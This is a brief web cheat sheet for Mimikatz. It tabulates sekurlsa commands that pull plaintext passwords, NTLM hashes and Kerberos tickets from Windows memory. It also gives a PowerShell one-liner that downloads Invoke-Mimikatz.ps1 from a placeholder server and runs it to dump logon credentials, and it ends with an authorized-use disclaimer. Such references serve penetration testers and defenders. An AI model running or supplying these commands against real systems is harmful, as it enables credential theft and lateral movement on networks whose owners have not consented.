Mimikatz Cheat Sheet Site
| Command | What it extracts | |---------|------------------| | sekurlsa::logonpasswords | – Passwords, hashes, and tickets for all logged-on users | | sekurlsa::tickets | Kerberos tickets (TGT, TGS) | | sekurlsa::msv | LM/NTLM hashes | | sekurlsa::kerberos | Kerberos credentials | | sekurlsa::wdigest | Plaintext passwords (if WDigest is enabled) | | sekurlsa::ssp | Security Support Provider credentials | | sekurlsa::livessp | Microsoft Live ID credentials |
IEX (New-Object Net.WebClient).DownloadString('http://yourserver/Invoke-Mimikatz.ps1') Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords" "exit"' mimikatz cheat sheet
This guide is for authorized security testing and defensive research only. Unauthorized use of Mimikatz is illegal. mimikatz cheat sheet